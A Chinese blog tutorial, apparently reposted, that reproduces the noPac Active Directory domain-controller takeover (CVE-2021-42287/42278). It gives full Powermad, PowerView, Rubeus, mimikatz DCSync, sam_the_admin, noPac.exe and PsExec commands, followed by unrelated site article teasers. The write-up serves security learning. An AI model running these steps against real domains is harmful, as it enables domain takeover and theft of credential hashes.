CVE-2021-42287CVE-2021-42278 域内提权

news2024/12/25 16:43:35

倘见玉皇先跪奏:他生永不落红尘

本文首发于先知社区,原创作者即是本人

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、漏洞原理

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
  • 假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

二、手工复现

1、操作流程

# 1. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

# 2. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose

# 3. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose

# 4. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap

# 5. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose

# 6. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]

# 7. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

2、拥有一个普通域账户

net user xxx /domain

在这里插入图片描述

3、尝试攻击

3.1、利用 powermad.ps1 新增机器帐号(域用户默认可以新建机器账户)

命令

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose

在这里插入图片描述

3.2、clear its SPNs(清除SPN信息)

Import-Module .\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose

在这里插入图片描述

3.3、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose

在这里插入图片描述

3.4、Request TGT (请求TGT)

.\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap

在这里插入图片描述

3.5、Change Machine Account samaccountname(改回原来属性)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

在这里插入图片描述

3.6、Request S4U2self(获取票据)

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t

在这里插入图片描述

3.7、获取 kbrtgt 用户的 NTLM Hash

lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

在这里插入图片描述

三、sam-the-admin复现

前置条件:

需要一个域用户

利用过程:

拿主域控

python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

在这里插入图片描述

漏洞证明

在这里插入图片描述

拿子域控

python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

在这里插入图片描述

漏洞证明

在这里插入图片描述

问题

低版本的kali可能会面临可以拿到票据,但是无法列出命令执行的窗口

四、impacket工具包复现

在这里插入图片描述

五、CVE-2021-42287/CVE-2021-42278 工具利用

1、下载地址

github

2、实际操作

2.1、扫描探测

.\noPac.exe scan -domain x.x.x -user x -pass 'x'

在这里插入图片描述

测试开始之前查看域控根目录提示拒绝访问

dir \x.x.x\c$

在这里插入图片描述

2.2、直接利用(打子域是同样方法)

./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt

在这里插入图片描述

此时已可以查看域控根目录

ls \x.x.x\c$

在这里插入图片描述

注意问题

如果使用cifs协议的话,票据时效比较短

在这里插入图片描述

如果使用ldap协议的话,票据时效比较长

2.3、深度利用

使用PsExec横向移动

通过noPac.exe使用cifs协议后,可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器

PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe

利用过程

在这里插入图片描述

直接提升到system权限,查看IP确实为域控IP

在这里插入图片描述

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1223359.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jQuery UI简单的讲解

我们先进入一下问答时间,你都知道多少呢? (1)什么是jQuery UI 呢? 解答:jQuery UI 是以 jQuery 为基础的开源 JavaScript 网页用户界面代码库。包含底层用户交互、动画、特效和可更换主题的可视控件。我们…

【广州华锐互动】消防安全宣传知识3D交互展示提升公众学习沉浸感

随着科技的快速发展,我们的生活与工作环境愈发复杂,火灾风险也随之提高。为了提高公众的消防灭火能力,普及消防安全知识,广州华锐互动开发了消防安全宣传知识3D交互展示系统。 这是一种全新的教育方式,它利用3D技术&am…

uniapp App 端 版本更新检测

function checkVersion() { var req { //升级检测数据 appid: plus.runtime.appid, version: plus.runtime.version }; const timestamp Date.parse(new Date()); config.server.query_news uni.reque…

微信小程序开发---实现文件上传和下载

在开发小程序的过程中,我们难免会遇到使用小程序对后端发送文件;或者接收后端的文件,本文章将手把手带你简单高效实现微信小程序的文件上传下载功能 前期准备 由于目前小程序保护用户个人隐私力度加大 ,因此我们要想实现文件上传…

基于PLC的自动洗碗机控制系统(论文+源码)

1.系统设计 本课题基于PLC的自动洗碗机控制系统,在此将主要功能设定如下: 通过上下喷头旋转喷水湿润餐具;添加洗涤剂(洗碗液);上下喷头喷水洗涤餐具;排出污水;往碗碟上喷洒更多的水…

在c#中如何将多个点位(Point)转换为多边形(Polygon)并装换为shp图层

👻如图,我现在有一组经纬度点位Point,接下来我们将他装换为多边形Polygon格式 👻使用QGIS > 图层 > 添加图层 > 添加分隔文本图层 > 打开这个csv点位文件 👻打开后如左下图,csv文件中的四个点位…

突发!“ChatGPT 之父”奥特曼被 OpenAI 开除!!乔布斯故事重演了?

重磅消息! OpenAI刚刚官宣领导层换届,SamAltman辞任CEO并离开董事会,原CTO Mira Murati 任命为临时CEO,并正在进行寻找永久继任CE0。 大模型研究测试传送门 GPT-4传送门(免墙,可直接测试,遇浏…

MIUI解锁BL

解锁BL锁会清空手机数据!!! 解锁工具下载: http://www.miui.com/unlock/download.html 解压运行.exe文件 注意点: 手机绑定的账号与解锁工具登录的账号应是同一个账号 在Fastboot界面, 一直无法显示连接手机 USB3.0接口的问题, 巨坑!!! 解决方案参考下面第二篇文章 参考文…

代码随想录算法训练营第25天|216.组合总和III 17.电话号码的字母组合

JAVA代码编写 216. 组合总和III 找出所有相加之和为 n 的 k 个数的组合,且满足下列条件: 只使用数字1到9每个数字 最多使用一次 返回 所有可能的有效组合的列表 。该列表不能包含相同的组合两次,组合可以以任何顺序返回。 示例 1: 输入: k …

uview使用u-action-sheet添加滚动条

0 效果 1 修改uview源码 node_modules/uview-ui/u-action-sheet/u-action-sheet.vue

vb.net U盘或移动硬盘 插入 自动(静默)复制指定格式文件

U盘或移动硬盘 插入 自动复制指定格式文件至系统盘符 开发语言:vb.net 重要申明:该程序只是防止本人不在电脑旁时,别人偷偷copy你的电脑文件,让他偷鸡成了也要蚀把米。严禁从事黑客或违反道德等不良行为,故而不发布程…

TURN 协议

TURN 地址分配 抓包过程 TURN 连接建立 这里指的是 Client 收到对端从 TURN 分配的 IP 和 端口 ,和对端的 TURN 和 IP 绑定的过程 CreatePermission Request 等消息,都会携带有对端的 TURN 和 IP 抓包过程

4月2日-3日·上海 | 3DCC 第二届3D细胞培养与类器官研发峰会携手CGT Asia 重磅来袭

类器官(Organoids)作为干细胞研究领域最重要的成果之一,在基础医学研究、转化医学及药物研发领域展现出巨大的应用潜力,特别是在精准医疗以及药物安全性和有效性评价等方向凭借其先天优势引起了极大的市场关注,成为各大…

asp.net心理健康管理系统VS开发sqlserver数据库web结构c#编程计算机网页项目

一、源码特点 asp.net 心理健康管理系统 是一套完善的web设计管理系统,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 系统视频链接 https://www.bilibili.com/video/BV19w411H7P4/ 二、功能介绍 本系统使用Microsoft Visual Studio…

LeetCode热题100——图论

图论 1. 岛屿的数量2. 腐烂的橘子 1. 岛屿的数量 给你一个由 ‘1’(陆地)和 ‘0’(水)组成的的二维网格,请你计算网格中岛屿的数量。岛屿总是被水包围,并且每座岛屿只能由水平方向和/或竖直方向上相邻的陆…

山西电力市场日前价格预测【2023-11-18】

1.日前价格预测 预测说明: 如上图所示,预测明日(2023-11-18)山西电力市场全天平均日前电价为202.44元/MWh。其中,最高日前电价为346.71元/MWh,预计出现在18:00。最低日前电价为0.00元/MWh,预计…

可逆矩阵的性质

如果矩阵A可逆,那么它的逆矩阵也可逆,并且如果矩阵A可逆,假设是一个不为0的数,那么也可逆,并且如果矩阵A和都可逆,而且它们的阶数也相同,那么它们的乘积也是可逆的,并且如果矩阵A可逆…

适用于 Windows 的 10 款最佳数据恢复工具

在数字时代,数据就是一切。 从珍贵的家庭照片和重要的工作文件到我们最喜欢的音乐和电影,我们的生活存储在越来越多的不同设备上。 系统崩溃、意外删除或恶意病毒都可能导致有价值的数据在瞬间丢失。 这就是数据恢复工具的用武之地。 适用于 Windows 的 …

为什么C++标准库中atomic shared_ptr不是lockfree实现?

为什么C标准库中atomic shared_ptr不是lockfree实现? 把 shared_ptr 做成 lock_free,应该是没有技术上的可行性。shared_ptr 比一个指针要大不少:最近很多小伙伴找我,说想要一些C的资料,然后我根据自己从业十年经验&am…

Unity3D 解决相机拉高之后物体阴影消失

在Edit-Project Settings-Quality中找到Shadow Distance,将其调大即可